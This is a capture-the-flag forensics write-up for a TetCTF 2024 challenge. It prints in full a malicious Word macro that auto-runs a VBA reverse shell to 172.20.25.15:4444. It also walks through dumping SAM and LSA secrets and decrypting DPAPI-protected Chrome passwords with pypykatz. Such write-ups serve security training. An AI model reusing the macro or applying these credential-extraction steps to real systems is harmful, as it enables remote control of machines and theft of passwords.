TET & 4N6

A good forensics challenge that was cheesed

We are presented with two files, a backup.ad1 file and memory image.

A quick google search leads us to to discover that .ad1 is referencing the AccessData Logial Image File Format.

We can quickly mount the .ad1 file using FTK imager, and we are presented with the user's AppData.

Basing off the description, we have two pieces of information.

  1. User was in the process of registering for TETCTF (Reading the Rules)

  2. Malicious code was downloaded onto the computer somehow

So we can start by looking for anything related to TETCTF first as that was how the malicious code got uploaded onto the computer.

Opening the Office Folder in Roaming, we see a suspicious .lnk file with the name TetCTF2024-Rules.LNK, suggesting that a docx was opened.

Looking at the templates directory, we recieve a windows defender error upon clicking on one of dotm files, indicating a possible malware dropper.

Using olevba to extract the macros, we get the C2's IP and Port as well as the first flag.

                                                                                                                        
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/Random_Shit/TETCTF-2024-20240126-203010]
โ””โ”€$ olevba Normal.dotm --decode
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.1 on Python 3.11.6 - http://decalage.info/python/oletools
===============================================================================
FILE: Normal.dotm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
'Coppy
Const ip = "172.20.25.15"
Const port = "4444"

Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1

Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To WSADESCRIPTION_LEN) As Byte
    szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
End Type

Private Type ADDRINFO
    ai_flags As Long
    ai_family As Long
    ai_socktype As Long
    ai_protocol As Long
    ai_addrlen As Long
    ai_canonName As LongPtr
    ai_addr As LongPtr
    ai_next As LongPtr
End Type

Private Type STARTUPINFOA
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As String
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Enum af
    AF_UNSPEC = 0
    AF_INET = 2
    AF_IPX = 6
    AF_APPLETALK = 16
    AF_NETBIOS = 17
    AF_INET6 = 23
    AF_IRDA = 26
    AF_BTH = 32
End Enum

Enum sock_type
    SOCK_STREAM = 1
    SOCK_DGRAM = 2
    SOCK_RAW = 3
    SOCK_RDM = 4
    SOCK_SEQPACKET = 5
End Enum

Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long

Function revShell()
    Dim m_wsaData As WSADATA
    Dim m_RetVal As Integer
    Dim m_Hints As ADDRINFO
    Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
    Dim pAddrInfo As LongPtr
    Dim RetVal As Long
    Dim lastError As Long
    Dim iRC As Long
    Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512

    RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
    If (RetVal <> 0) Then
        MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If
    
    m_Hints.ai_family = af.AF_UNSPEC
    m_Hints.ai_socktype = sock_type.SOCK_STREAM

    RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
    If (RetVal <> 0) Then
        MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_next = pAddrInfo
    Dim connected As Boolean: connected = False
    Do While m_Hints.ai_next > 0
        CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)

        m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
        
        If (m_ConnSocket = INVALID_SOCKET) Then
            revShell = False
        Else
            Dim connectionResult As Long

            connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)

            If connectionResult <> SOCKET_ERROR Then
                connected = True
                Exit Do
            End If
            
            closesocket (m_ConnSocket)
            revShell = False
        End If
    Loop

    If Not connected Then
        revShell = False
        RetVal = closesocket(m_ConnSocket)
        Call WSACleanup
        Exit Function
    End If
    
    Dim si As STARTUPINFOA
    ZeroMemory si, Len(si)
    si.cb = Len(si)
    si.dwFlags = &H100
    si.hStdInput = m_ConnSocket
    si.hStdOutput = m_ConnSocket
    si.hStdError = m_ConnSocket
    Dim pi As PROCESS_INFORMATION
    Dim worked As LongPtr
    Dim test As Long
    worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
    revShell = worked
End Function

Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
    MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function

Sub AutoOpen()
    Dim success As Boolean
    success = revShell()
End Sub
'Vmxjd2VFNUhSa2RqUkZwVFZrWndTMVZ0ZUhkU1JsWlhWRmhvVldGNlZrbFdSM2hQVkd4R1ZVMUVhejA9

For the second part of the flag, there is two ways to go about it.

Using Strings (Cheesing)

  • Simply doing a strings on the raw file with the format Flag 2: gives us the flag.

Getting the chrome password and decrypting it (Intended)

  • The user states that he no longer remenbers anything about his account, suggesting we have to do some sort of password recovery from a browser

  • Looking at the .ad1 file, we can easily spot Google Chrome and its UserData file entry which we can use to extract chrome's encryption key.

"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABhZCl25uQcT6sjhB70F2P7AAAAAAIAAAAAABBmAAAAAQAAIAAAAHzJuxWfB4gBNgX+ew6FKU+9h0/HVqdYxbTSBSsUGBrlAAAAAA6AAAAAAgAAIAAAAIiysV7Yp7RU89Nx7xivk2ZqVjVjy0bs+Eia6YEtJjwfMAAAABTb9aCNGkqDed0xbDIqCnLiYYm6zr8Yt9nv6jlArBUXfiJjggdsnV5YQ1N8l8jzUEAAAACV6Ig/b73hHx9CquXh38ci3+YUD0aIFLfw/eG3oZfcr9a6qyw+4n0iZy7d7+E0GF6N6cMbP866WWY0WN9/GnXm"},
  • Next is the encrypted passwords located in Login Data

0000  76 31 30 f5 45 38 ac 22 42 bd 18 6c 2e 0e 84 85  v10.E8."B..l.... 
0010  87 81 ea 9e 2a b2 4d 39 a9 ba 55 70 f8 61 70 88  ....*.M9..Up.ap. 
0020  81 95 ff ec e7 b8 5f c8 d1 72 8c 5e 2d           ......_..r.^-    
  • Using memprocfs to mount memory to get SAM, SECURITY, SYSTEM for pypykatz where we get Stirring's password.

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/Random_Shit/TETCTF-2024-20240126-203010/test]
โ””โ”€$ pypykatz registry --sam ./SAM --security ./SECURITY ./SYSTEM 
WARNING:pypykatz:SOFTWARE hive path not supplied! Parsing SOFTWARE will not work
============== SYSTEM hive secrets ==============
CurrentControlSet: ControlSet001
Boot Key: 013df825d1f098ac5ba0fbe7c4e75221
============== SAM hive secrets ==============
HBoot Key: 184154558503ae671be61e99ed1487abe1841c5cb0d6409e12300c3a76f1462a
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Stirring:1001:aad3b435b51404eeaad3b435b51404ee:f1c126c9e2846cb36d3e5858ee4993e3:::
HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:6297326fa4b461d1d47094e2afc5eeab:::
============== SECURITY hive secrets ==============
Iteration count: 10240
Secrets structure format : VISTA
LSA Key: c4134c66010990961feb51824a39690f7600249b4ac575cfe512e6f743136629
=== LSA Default Password ===
History: True
Username: UNKNOWN
Password: S3cur3P@ass
=== LSA DPAPI secret ===
History: False
Machine key (hex): 39cab29d042c0d0c4b102fc1686ee70593318215
User key(hex): a59705c961562dcad9f39f3b4bc095585e05de42
=== LSA DPAPI secret ===
History: True
Machine key (hex): 1036e6012a6dd8ad6c2e3676badf6b07ab1e4389
User key(hex): 788499d05495c96363d1892e054726021679176a
  • We can then decrypt the chrome password by doing the following

    • Generate prekey with the SID (S-1-5-21-347626499-1928756767-1973197264-1001) and password (S3cur3P@ass)

    • Use the prekey to decrypt the master password

    • Use the master password to decrypt the chrome password from Local State

    • Login to pastebin with the user tecij23311 to get our flag

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/Random_Shit/TETCTF-2024-20240126-203010/test]
โ””โ”€$ pypykatz dpapi prekey password 'S-1-5-21-347626499-1928756767-1973197264-1001' 'S3cur3P@ass' -o key
                                                                                      
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/Random_Shit/TETCTF-2024-20240126-203010/test]
โ””โ”€$ cat key     
cbae780de700b6e0940ab76d26507b09fb677bd5
37dcc52a7bccc0a58b7f3c5d604d033265ee7732
f0fb227fb743aa3c0c96e01792cc3e469d05305c
                                                                                      
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/Random_Shit/TETCTF-2024-20240126-203010/test]
โ””โ”€$ file key      
key: ASCII text, with CRLF line terminators
                                                                                      
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/Random_Shit/TETCTF-2024-20240126-203010/test]
โ””โ”€$ pypykatz dpapi masterkey 76296461-e4e6-4f1c-ab23-841ef41763fb key -o masterkey
                                                                                      
โ”Œโ”€โ”€(kaliใ‰ฟkali)-[~/Desktop/Random_Shit/TETCTF-2024-20240126-203010/test]
โ””โ”€$ pypykatz dpapi chrome ./masterkey --logindata ./Login\ Data ./Local\ State
file: ./Login Data user: tecij23311 pass: b'tecij23311Pass' url: https://pastebin.com/signup

Last updated